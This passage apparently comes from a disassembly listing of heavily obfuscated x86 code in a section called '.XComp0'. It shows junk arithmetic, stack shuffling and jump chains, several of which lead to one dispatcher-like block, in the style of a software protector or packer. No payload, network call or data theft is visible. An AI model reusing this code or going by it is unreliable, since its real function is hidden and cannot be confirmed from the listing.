		pop	esp
		jmp	loc_5923DC
; ---------------------------------------------------------------------------


loc_5852CF:				; CODE XREF: .XComp0:00591FC9j
		push	ebp
		push	ebx
		push	49D005CDh
		pop	ebx
		not	ebx
		jmp	loc_589866
; ---------------------------------------------------------------------------


loc_5852DE:				; CODE XREF: .XComp0:00595A27j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5852E3:				; CODE XREF: .XComp0:0058422Dj
		push	ecx
		mov	ecx, 6B2319AAh
		add	eax, ecx
		pop	ecx
		jmp	loc_58C54D
; ---------------------------------------------------------------------------


loc_5852F1:				; CODE XREF: .XComp0:00587ED9j
		add	ebp, 64947325h
		add	ebp, eax
		sub	ebp, 64947325h
		pop	eax
		jmp	loc_58A6DB
; ---------------------------------------------------------------------------


loc_585305:				; CODE XREF: .XComp0:00596F39j
		add	dword ptr [esp], 65D97623h
		push	dword ptr [esp]
		jmp	loc_595A72
; ---------------------------------------------------------------------------


loc_585314:				; CODE XREF: .XComp0:00596FA7j
		push	4867h
		jmp	loc_585484
; ---------------------------------------------------------------------------


loc_58531E:				; CODE XREF: .XComp0:0059622Ej
		mov	eax, 4A2A2C37h
		sub	ebp, 45604D5Eh
		add	ebp, eax
		jmp	loc_597A35
; ---------------------------------------------------------------------------


loc_585330:				; CODE XREF: .XComp0:00585540j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	39ECh
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59320A
; ---------------------------------------------------------------------------


loc_585351:				; CODE XREF: .XComp0:0058DFDFj
		add	esi, ebp
		sub	esi, 4AB14074h
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_58824D
; ---------------------------------------------------------------------------


loc_585362:				; CODE XREF: .XComp0:005932EAj
		mov	[esp], edi
		jmp	loc_5864D6
; ---------------------------------------------------------------------------


loc_58536A:				; CODE XREF: .XComp0:0058C97Dj
		sub	ebp, 1FD95D1Ch
		jmp	loc_587FA4
; ---------------------------------------------------------------------------


loc_585375:				; CODE XREF: .XComp0:005903A4j
					; .XComp0:00598110j
		push	5B7Fh
		jmp	loc_596F36
; ---------------------------------------------------------------------------


loc_58537F:				; CODE XREF: .XComp0:00592E35j
		mov	edx, 0D9F3C83Eh
		push	edx
		pop	esi
		pop	edx
		add	esi, edx
		jmp	loc_59038A
; ---------------------------------------------------------------------------


loc_58538E:				; CODE XREF: .XComp0:00595952j
		add	al, 0F2h
		jmp	loc_587536
; ---------------------------------------------------------------------------


loc_585395:				; CODE XREF: .XComp0:00598A22j
		sub	edi, 0FFFFFFFFh
		shr	edi, 3
		add	edi, 0FFF7FFC4h
		mov	esi, edi
		pop	edi
		sub	ebp, esi
		jmp	loc_58C3D3
; ---------------------------------------------------------------------------


loc_5853AB:				; CODE XREF: .XComp0:0059100Aj
		xor	ch, al
		pop	ax
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_58A348
; ---------------------------------------------------------------------------


loc_5853C1:				; CODE XREF: .XComp0:00591108j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58B3EE
; ---------------------------------------------------------------------------


loc_5853CA:				; CODE XREF: .XComp0:005953D4j
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_584B56
; ---------------------------------------------------------------------------


loc_5853D9:				; CODE XREF: .XComp0:005873A5j
		add	ebp, 5B5F0B16h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_589547
; ---------------------------------------------------------------------------


loc_5853EA:				; CODE XREF: .XComp0:005951CDj
		pop	ecx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_591950
; ---------------------------------------------------------------------------


loc_58540A:				; CODE XREF: .XComp0:005881E2j
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585421:				; CODE XREF: .XComp0:00590CF6j
		push	555F31E4h
		pop	ebp
		sub	ebp, 5150CFBBh
		mov	edi, ebp
		pop	ebp
		jmp	loc_597649
; ---------------------------------------------------------------------------


loc_585435:				; CODE XREF: .XComp0:0058591Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	edx
		mov	edx, 4C0E0461h
		mov	ecx, edx
		pop	edx
		shl	ecx, 2
		not	ecx
		dec	ecx
		push	esi
		mov	esi, 0A7F67F85h
		add	ecx, esi
		jmp	loc_596C1A
; ---------------------------------------------------------------------------


loc_585461:				; CODE XREF: .XComp0:00586C7Aj
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	1868h
		mov	[esp], ecx
		mov	ecx, 642321CEh
		jmp	loc_5967F4
; ---------------------------------------------------------------------------


loc_58547E:				; CODE XREF: .XComp0:0058D025j
		push	eax
		jmp	loc_593DF3
; ---------------------------------------------------------------------------


loc_585484:				; CODE XREF: .XComp0:00585319j
		mov	[esp], esi
		push	esi
		jmp	loc_58621E
; ---------------------------------------------------------------------------


loc_58548D:				; CODE XREF: .XComp0:0058CC90j
		push	ebx
		jmp	loc_5871C5
; ---------------------------------------------------------------------------


loc_585493:				; CODE XREF: .XComp0:0059070Aj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, 63850B08h
		sub	eax, esi
		jmp	loc_586FB2
; ---------------------------------------------------------------------------


loc_5854A6:				; CODE XREF: .XComp0:00591D20j
		sub	ecx, 705723A8h
		push	dword ptr [esp]
		jmp	loc_593A4A
; ---------------------------------------------------------------------------


loc_5854B4:				; CODE XREF: .XComp0:00591928j
		push	7630h
		mov	[esp], esp
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], ecx
		push	dword ptr [esp]
		jmp	loc_594496
; ---------------------------------------------------------------------------


loc_5854D7:				; CODE XREF: .XComp0:0058FB0Ej
		push	edx
		mov	edx, esi
		jmp	loc_58E890
; ---------------------------------------------------------------------------


loc_5854DF:				; CODE XREF: .XComp0:0058C629j
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_585A26
; ---------------------------------------------------------------------------


loc_5854F4:				; CODE XREF: .XComp0:00591FE1j
		mov	esi, 4
		mov	edi, esi
		pop	esi
		push	ebx
		jmp	loc_584C17
; ---------------------------------------------------------------------------


loc_585502:				; CODE XREF: .XComp0:0058FD75j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_592744
; ---------------------------------------------------------------------------


loc_585517:				; CODE XREF: .XComp0:005926F5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59508D
; ---------------------------------------------------------------------------


loc_58552B:				; CODE XREF: .XComp0:00591324j
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_593C42
; ---------------------------------------------------------------------------


loc_58553C:				; CODE XREF: .XComp0:00593409j
		add	dword ptr [esp], 4
		jmp	loc_585330
; ---------------------------------------------------------------------------


loc_585545:				; CODE XREF: .XComp0:0058FE58j
		mov	bh, 76h
		jmp	loc_58D65D
; ---------------------------------------------------------------------------


loc_58554C:				; CODE XREF: .XComp0:00589644j
					; DATA XREF: .XComp0:00452E4Co
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_597C2F
; ---------------------------------------------------------------------------


loc_585563:				; CODE XREF: .XComp0:005961EEj
		pop	edi
		push	eax
		jmp	loc_59374D
; ---------------------------------------------------------------------------


loc_58556A:				; CODE XREF: .XComp0:00588F51j
		mov	[esp], ecx
		push	ebx
		mov	bh, 2Eh
		mov	cl, 63h
		add	cl, bh
		pop	ebx
		shl	cl, 3
		add	cl, 0FFh
		push	ax
		mov	ah, 0F6h
		push	ebx
		mov	bl, 10h
		jmp	loc_598CCB
; ---------------------------------------------------------------------------


loc_585587:				; CODE XREF: .XComp0:005919C0j
		add	eax, 4
		add	eax, 4
		jmp	loc_58A234
; ---------------------------------------------------------------------------


loc_585596:				; CODE XREF: .XComp0:0058905Aj
		push	dword ptr [esp+4]
		jmp	loc_596C69
; ---------------------------------------------------------------------------


loc_58559F:				; CODE XREF: .XComp0:0058D903j
		mov	ecx, 6A7C2F81h
		jmp	loc_593BC1
; ---------------------------------------------------------------------------


loc_5855A9:				; CODE XREF: .XComp0:0058FD0Cj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58B4FA
; ---------------------------------------------------------------------------


loc_5855B2:				; CODE XREF: .XComp0:00587BBCj
		mov	edx, 5EB93100h
		xor	edx, 63E36A89h
		add	edx, 49D94BE2h
		not	edx
		xor	edx, 614AFDEFh
		sub	ebp, edx
		jmp	loc_594674
; ---------------------------------------------------------------------------


loc_5855D2:				; CODE XREF: .XComp0:00588E98j
		mov	esp, [esp]
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_596347
; ---------------------------------------------------------------------------


loc_5855E5:				; CODE XREF: .XComp0:00596AA7j
		add	edx, ecx
		add	edx, 71022B64h
		sub	edx, 23615A7Fh
		pop	ecx
		push	ecx
		push	35591443h
		pop	ecx
		push	edx
		mov	edx, 0CAA6EBC1h
		add	ecx, edx
		pop	edx
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_594872
; ---------------------------------------------------------------------------


loc_58561D:				; CODE XREF: .XComp0:0058CC54j
		mov	ecx, edx
		pop	edx
		sub	edi, 7DEE64BCh
		add	edi, ecx
		add	edi, 7DEE64BCh
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59506F
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_58B1BE
; ---------------------------------------------------------------------------


loc_585645:				; CODE XREF: .XComp0:00594960j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_593D0D
; ---------------------------------------------------------------------------


loc_585650:				; CODE XREF: .XComp0:00599040j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		jmp	loc_58F05C
; ---------------------------------------------------------------------------


loc_585669:				; CODE XREF: .XComp0:0058A965j
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5939B2
; ---------------------------------------------------------------------------


loc_585683:				; CODE XREF: .XComp0:0058CAFDj
		mov	esi, [esp]
		jmp	loc_58E713
; ---------------------------------------------------------------------------


loc_58568B:				; CODE XREF: .XComp0:00590264j
		add	esp, 4
		add	ebp, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_583C07
; ---------------------------------------------------------------------------


loc_5856A4:				; CODE XREF: .XComp0:00589559j
		push	328Ch
		mov	[esp], edi
		mov	edi, 4
		push	ebx
		mov	ebx, 48736C33h
		sub	edx, ebx
		pop	ebx
		sub	edx, edi
		push	esi
		mov	esi, 19DD323Eh
		or	esi, 79EA5FD7h
		dec	esi
		xor	esi, 5F380605h
		push	ebx
		mov	ebx, 50B60B41h
		jmp	loc_593E94
; ---------------------------------------------------------------------------


loc_5856DA:				; CODE XREF: .XComp0:005886A8j
		push	59ECh
		mov	[esp], ebp
		mov	ebp, 1A101102h
		inc	ebp
		push	eax
		mov	eax, 59827E3h
		shl	eax, 6
		push	ebp
		mov	ebp, 4BC77EBBh
		shl	ebp, 2
		xor	ebp, 2D4025Eh
		sub	ebp, 7477DDCFh
		add	eax, ebp
		pop	ebp
		jmp	loc_58C077
; ---------------------------------------------------------------------------


loc_58570E:				; CODE XREF: .XComp0:00584BE5j
		push	4
		pop	ebx
		jmp	loc_5980FD
; ---------------------------------------------------------------------------


loc_585719:				; CODE XREF: .XComp0:00589A6Ej
		xchg	eax, esi
		pop	esi
		shl	eax, 3
		xor	eax, 5B4B31C2h
		mov	ebp, eax
		pop	eax
		xor	ebp, ebx
		pop	ebx
		sub	ebp, edx
		pop	edx
		push	1D44h
		mov	[esp], edi
		mov	edi, 30692E6Ch
		inc	edi
		push	edi
		jmp	loc_585DE6
; ---------------------------------------------------------------------------


loc_585740:				; CODE XREF: .XComp0:00591318j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5872FB
; ---------------------------------------------------------------------------


loc_585749:				; CODE XREF: .XComp0:005978FDj
		push	edi
		jmp	loc_58DA11
; ---------------------------------------------------------------------------


loc_58574F:				; CODE XREF: .XComp0:00598EE1j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5889D4
; ---------------------------------------------------------------------------


loc_585759:				; CODE XREF: .XComp0:0058E703j
		add	di, 0D82Ah
		add	ax, di
		pop	edi
		jmp	loc_58E12C
; ---------------------------------------------------------------------------


loc_585767:				; CODE XREF: .XComp0:0058434Cj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7CF93537h
		add	ebx, edi
		pop	edi
		sub	ebx, 35555392h
		jmp	loc_589433
; ---------------------------------------------------------------------------


loc_585781:				; CODE XREF: .XComp0:0058CBC3j
		neg	ebx
		xor	ebx, 18A22FBh
		xor	ebx, 730C1EE7h
		shl	ebx, 1
		or	ebx, 68001CAAh
		sub	ebx, 6E17BFEAh
		add	ecx, ebx
		pop	ebx
		push	1C6Bh
		mov	[esp], ebp
		mov	ebp, 2
		add	ecx, 35394Dh
		add	ecx, ebp
		sub	ecx, 35394Dh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_584823
; ---------------------------------------------------------------------------


loc_5857C6:				; CODE XREF: .XComp0:0058ED01j
		pop	edx
		add	esi, 29330EB6h
		add	esi, 15429C5h
		add	esi, ecx
		sub	esi, 15429C5h
		jmp	loc_59688C
; ---------------------------------------------------------------------------


loc_5857E0:				; CODE XREF: .XComp0:0058A40Dj
		pop	edi
		jmp	loc_58B907
; ---------------------------------------------------------------------------


loc_5857E6:				; CODE XREF: .XComp0:005884E0j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1C20123h
		push	edx
		mov	edx, 0F258A28Dh
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_593348
; ---------------------------------------------------------------------------


loc_585808:				; CODE XREF: .XComp0:0058A001j
		mov	eax, 4
		jmp	loc_5938F5
; ---------------------------------------------------------------------------


loc_585812:				; CODE XREF: .XComp0:005890F6j
		sub	eax, 0CBCA17A5h
		xor	ebx, eax
		pop	eax
		and	ebx, 1E7A3FBCh
		or	ebx, 2B57059Ah
		xor	ebx, 3F57259Ah
		add	ebp, ebx
		pop	ebx
		jmp	loc_58FD7A
; ---------------------------------------------------------------------------


loc_585834:				; CODE XREF: .XComp0:0059657Dj
		mov	bl, 0B5h
		shr	bl, 8
		jmp	loc_59610B
; ---------------------------------------------------------------------------


loc_58583E:				; CODE XREF: .XComp0:00592770j
		sub	eax, 241913C6h
		add	eax, 3ACC1292h
		jmp	loc_590DA5
; ---------------------------------------------------------------------------


loc_58584D:				; CODE XREF: .XComp0:0058FC2Bj
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_58F4B1
; ---------------------------------------------------------------------------


loc_585857:				; CODE XREF: .XComp0:0058F14Bj
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4D175C79h
		sub	ecx, 65BF76C7h
		shl	ecx, 4
		jmp	loc_5878EE
; ---------------------------------------------------------------------------


loc_585871:				; CODE XREF: .XComp0:00594991j
		mov	esi, edx
		pop	edx
		xor	esi, eax
		pop	eax
		push	ecx
		mov	ecx, 78D239CFh
		xor	ecx, 5A6335AFh
		sub	eax, ecx
		pop	ecx
		add	eax, esi
		jmp	loc_58B635
; ---------------------------------------------------------------------------


loc_58588D:				; CODE XREF: .XComp0:0058B4F5j
		add	edi, 54AE0C09h
		push	eax
		mov	eax, edi
		mov	ebp, eax
		pop	eax
		jmp	loc_58416E
; ---------------------------------------------------------------------------


loc_58589E:				; CODE XREF: .XComp0:00593A12j
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_59523A
; ---------------------------------------------------------------------------


loc_5858AD:				; CODE XREF: .XComp0:00595C42j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dl, al
		push	eax
		mov	ah, dl
		mov	cl, ah
		jmp	loc_58776A
; ---------------------------------------------------------------------------


loc_5858CE:				; CODE XREF: .XComp0:00585A21j
		mov	[esp], edx
		push	ebx
		mov	bl, 89h
		push	435Fh
		mov	[esp], ebx
		mov	bh, 37h
		jmp	loc_58BBC1
; ---------------------------------------------------------------------------


loc_5858E3:				; CODE XREF: .XComp0:0058AAEBj
		push	edx
		mov	edx, 526659B0h
		shr	edx, 2
		neg	edx
		dec	edx
		not	edx
		and	edx, 0C3F0F9Ch
		push	eax
		mov	eax, 147A237Eh
		xor	edx, eax
		pop	eax
		sub	edx, 0D63E0DA8h
		push	edx
		pop	ebx
		pop	edx
		jmp	loc_594B72
; ---------------------------------------------------------------------------


loc_58590E:				; CODE XREF: .XComp0:0058FC33j
		xor	ecx, [esp]
		jmp	loc_5962C8
; ---------------------------------------------------------------------------


loc_585916:				; CODE XREF: .XComp0:0058CA96j
		or	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_585435
; ---------------------------------------------------------------------------


loc_585921:				; CODE XREF: .XComp0:00584B51j
		not	edx
		shr	edx, 2
		jmp	loc_58DDA3
; ---------------------------------------------------------------------------


loc_58592B:				; CODE XREF: .XComp0:00588127j
		pop	esp
		mov	[esp], edx
		jmp	loc_583AA1
; ---------------------------------------------------------------------------


loc_585934:				; CODE XREF: .XComp0:0058D0A9j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5942E2
; ---------------------------------------------------------------------------


loc_58593F:				; CODE XREF: .XComp0:0058AC2Bj
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_591D25
; ---------------------------------------------------------------------------


loc_585954:				; CODE XREF: .XComp0:00583C02j
		push	ecx
		jmp	loc_58F150
; ---------------------------------------------------------------------------


loc_58595A:				; CODE XREF: .XComp0:0058FCACj
		dec	word ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585964:				; CODE XREF: .XComp0:0058F39Bj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 43AE3F9Bh
		jmp	loc_593DC7
; ---------------------------------------------------------------------------


loc_585975:				; CODE XREF: .XComp0:0058F534j
		xor	ebp, edx
		pop	edx
		and	ebp, 2C3C4497h
		jmp	loc_58874C
; ---------------------------------------------------------------------------


loc_585983:				; CODE XREF: .XComp0:00596CD8j
		inc	edi
		dec	edi
		and	edi, 276B7140h
		dec	edi
		add	edi, 671035B6h
		add	ebp, edi
		pop	edi
		shr	ebp, 4
		sub	ebp, 0F75132BCh
		add	eax, ebp
		pop	ebp
		add	esi, 3CC346EFh
		add	esi, 13193C28h
		add	esi, eax
		sub	esi, 13193C28h
		jmp	loc_5862F6
; ---------------------------------------------------------------------------


loc_5859BA:				; CODE XREF: .XComp0:0059436Cj
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_58F592
; ---------------------------------------------------------------------------


loc_5859DD:				; CODE XREF: .XComp0:00586E70j
		and	ebx, 424C1C4Bh
		sub	ebx, 40481405h
		mov	ebp, ebx
		jmp	loc_597EE7
; ---------------------------------------------------------------------------


loc_5859F0:				; CODE XREF: .XComp0:0058D03Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5961F3
; ---------------------------------------------------------------------------


loc_5859FE:				; CODE XREF: .XComp0:00586268j
		push	35A8h
		mov	[esp], eax
		mov	eax, 73FF74A1h
		shr	eax, 7
		push	edx
		jmp	loc_594F46
; ---------------------------------------------------------------------------


loc_585A14:				; CODE XREF: .XComp0:005895CBj
		pop	ebx
		and	[edi+1Ch], esi
		mov	esi, [esp]
		jmp	loc_594EE0
; ---------------------------------------------------------------------------


loc_585A20:				; CODE XREF: .XComp0:00585CCFj
		pop	esp
		jmp	loc_5858CE
; ---------------------------------------------------------------------------


loc_585A26:				; CODE XREF: .XComp0:005854EFj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585A2B:				; CODE XREF: .XComp0:00596D2Dj
		sub	ebx, 60274F91h
		sub	ebx, edx
		add	ebx, 60274F91h
		push	eax
		push	ecx
		mov	ecx, 70824BECh
		add	ecx, 0DE2E18D9h
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58EBD3
; ---------------------------------------------------------------------------


loc_585A53:				; CODE XREF: .XComp0:00598CD9j
		push	ebx
		mov	ebx, 339E6751h
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5905E9
; ---------------------------------------------------------------------------


loc_585A68:				; CODE XREF: .XComp0:0058A1C4j
		xor	cl, 0E2h
		mov	dh, cl
		jmp	loc_595C47
; ---------------------------------------------------------------------------


loc_585A72:				; CODE XREF: .XComp0:0058C156j
		pop	esi
		jmp	loc_5974FA
; ---------------------------------------------------------------------------


loc_585A78:				; CODE XREF: .XComp0:00584B8Cj
		add	edx, eax
		pop	eax
		jmp	loc_58DE13
; ---------------------------------------------------------------------------


loc_585A80:				; CODE XREF: .XComp0:00586E9Aj
		mov	edx, esp
		add	edx, 4
		jmp	loc_589851
; ---------------------------------------------------------------------------


loc_585A8D:				; CODE XREF: .XComp0:00596048j
		mov	ecx, [esp]
		jmp	loc_5877EC
; ---------------------------------------------------------------------------


loc_585A95:				; CODE XREF: .XComp0:00597FE6j
		xor	edx, 0F9EFEDD8h
		add	ebx, edx
		pop	edx
		add	ebx, 735517A3h
		pop	edx
		add	ebx, 53371A5Ah
		jmp	loc_586AA4
; ---------------------------------------------------------------------------


loc_585AB0:				; CODE XREF: .XComp0:00594EDBj
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_588851
; ---------------------------------------------------------------------------


loc_585ACB:				; CODE XREF: .XComp0:00591889j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3E17h
		mov	[esp], esi
		push	1FF0h
		mov	[esp], edi
		mov	edi, 7535524Eh
		add	edi, 4391ED0h
		mov	esi, edi
		pop	edi
		neg	esi
		push	ebx
		mov	ebx, 0DB67C64h
		jmp	loc_58BD9C
; ---------------------------------------------------------------------------


loc_585AFC:				; CODE XREF: .XComp0:0058DCD1j
		push	ebx
		mov	ebx, 4
		jmp	loc_597199
; ---------------------------------------------------------------------------


loc_585B07:				; CODE XREF: .XComp0:005907C5j
		pop	ecx
		push	5F8Eh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_5875BA
; ---------------------------------------------------------------------------


loc_585B19:				; CODE XREF: .XComp0:00587182j
		add	ebx, edi
		add	ebx, 0C6F5E4Ch
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5847E7
; ---------------------------------------------------------------------------


loc_585B2C:				; CODE XREF: .XComp0:00592D4Fj
		push	ecx
		push	edx
		mov	dl, 0CBh
		mov	ch, 4Dh
		sub	ch, dl
		pop	edx
		add	ch, 0D4h
		xor	dh, ch
		jmp	loc_587612
; ---------------------------------------------------------------------------


loc_585B3F:				; CODE XREF: .XComp0:00591348j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_584246
; ---------------------------------------------------------------------------


loc_585B4C:				; CODE XREF: .XComp0:0059006Cj
		sub	esi, 4F6C70EEh
		push	eax
		mov	eax, 4A3A3BEAh
		jmp	loc_5880C8
; ---------------------------------------------------------------------------


loc_585B5D:				; CODE XREF: .XComp0:0058D6E7j
		add	edi, esi
		jmp	loc_590930
; ---------------------------------------------------------------------------


loc_585B64:				; CODE XREF: .XComp0:00585090j
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_58A868
; ---------------------------------------------------------------------------


loc_585B8B:				; CODE XREF: .XComp0:0059233Dj
		pop	edx
		mov	dh, al
		pop	ax
		push	ebx
		mov	bl, 7Ch
		jmp	loc_5880C1
; ---------------------------------------------------------------------------


loc_585B98:				; CODE XREF: .XComp0:0058B218j
		pop	edi
		add	esi, 2A1F11h
		add	esi, edx
		sub	esi, 2A1F11h
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5908C5
; ---------------------------------------------------------------------------


loc_585BB0:				; CODE XREF: .XComp0:0058A748j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59256B
; ---------------------------------------------------------------------------


loc_585BBB:				; CODE XREF: .XComp0:0058CF8Aj
		sub	esp, 4
		jmp	loc_58DB0D
; ---------------------------------------------------------------------------


loc_585BC6:				; CODE XREF: .XComp0:00596E67j
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_585BCF:				; CODE XREF: .XComp0:00583F29j
		xchg	edx, [esp]
		jmp	loc_586B44
; ---------------------------------------------------------------------------


loc_585BD7:				; CODE XREF: .XComp0:005976AAj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_585050
; ---------------------------------------------------------------------------


loc_585BE4:				; CODE XREF: .XComp0:00595FAFj
		sub	edi, 11F0569Fh
		jmp	loc_58ECB7
; ---------------------------------------------------------------------------


loc_585BEF:				; CODE XREF: .XComp0:0058AE4Aj
		push	69354CB3h
		pop	ebp
		xor	ebp, 465044E0h
		and	ebp, 85B07E9h
		sub	ebp, 51C058DCh
		xor	ebp, 0C8519576h
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 185C7880h
		xor	ebx, 25351188h
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 75555834h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 72A632CFh
		sub	ecx, 6577D378h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 1
		jmp	loc_59815E
; ---------------------------------------------------------------------------


loc_585C44:				; CODE XREF: .XComp0:005966C7j
		pop	ecx
		jmp	loc_596D8F
; ---------------------------------------------------------------------------


loc_585C4A:				; CODE XREF: .XComp0:00597D4Ej
		add	esp, 4
		add	eax, 4
		push	edx
		jmp	loc_588EC9
; ---------------------------------------------------------------------------


loc_585C58:				; CODE XREF: .XComp0:005977FDj
		pop	ebp
		shr	edx, 5
		sub	edx, 5F0F725Ah
		not	edx
		add	edx, 8E4DB279h
		add	edi, edx
		pop	edx
		push	3A69h
		mov	[esp], edx
		mov	edx, edi
		jmp	loc_58BB00
; ---------------------------------------------------------------------------


loc_585C7C:				; CODE XREF: .XComp0:00592B9Cj
		push	5A1Ch
		jmp	loc_58F2B6
; ---------------------------------------------------------------------------


loc_585C86:				; CODE XREF: .XComp0:00584F56j
		pop	eax
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_5952B3
; ---------------------------------------------------------------------------


loc_585C97:				; CODE XREF: .XComp0:00589484j
		mov	[esp], ecx
		jmp	loc_58EF2A
; ---------------------------------------------------------------------------


loc_585C9F:				; CODE XREF: .XComp0:005969DCj
		sub	ebp, 662D321Ch
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_594DA4
; ---------------------------------------------------------------------------


loc_585CB0:				; CODE XREF: .XComp0:00587DE0j
		add	ebx, 1B7431D3h
		sub	ebx, 19AD7E53h
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_585A20
; ---------------------------------------------------------------------------


loc_585CD4:				; CODE XREF: .XComp0:0058F542j
		shl	ecx, 2
		xor	ecx, 50BE2D0Ah
		mov	eax, ecx
		pop	ecx
		xor	eax, 7017550Eh
		add	esi, 26DF6DDCh
		add	esi, eax
		sub	esi, 26DF6DDCh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_5865F9
; ---------------------------------------------------------------------------


loc_585D0A:				; CODE XREF: .XComp0:0058C9F7j
		add	eax, 0FC9E6B83h
		jmp	loc_58955E
; ---------------------------------------------------------------------------


loc_585D14:				; CODE XREF: .XComp0:0058A729j
		pop	ebp
		add	ebp, 1674655Eh
		sub	ebp, 16D3716Bh
		add	eax, 6D056025h
		add	eax, ebp
		push	ebp
		mov	ebp, 6BA412Ah
		xor	ebp, 6BBF210Fh
		jmp	loc_584C72
; ---------------------------------------------------------------------------


loc_585D39:				; CODE XREF: .XComp0:00592620j
		mov	bh, al
		jmp	loc_591F26
; ---------------------------------------------------------------------------


loc_585D40:				; CODE XREF: .XComp0:00584470j
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 1EAF03C6h
		mov	ebp, 0E150FC3Ch
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2989498Bh
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_59221C
; ---------------------------------------------------------------------------
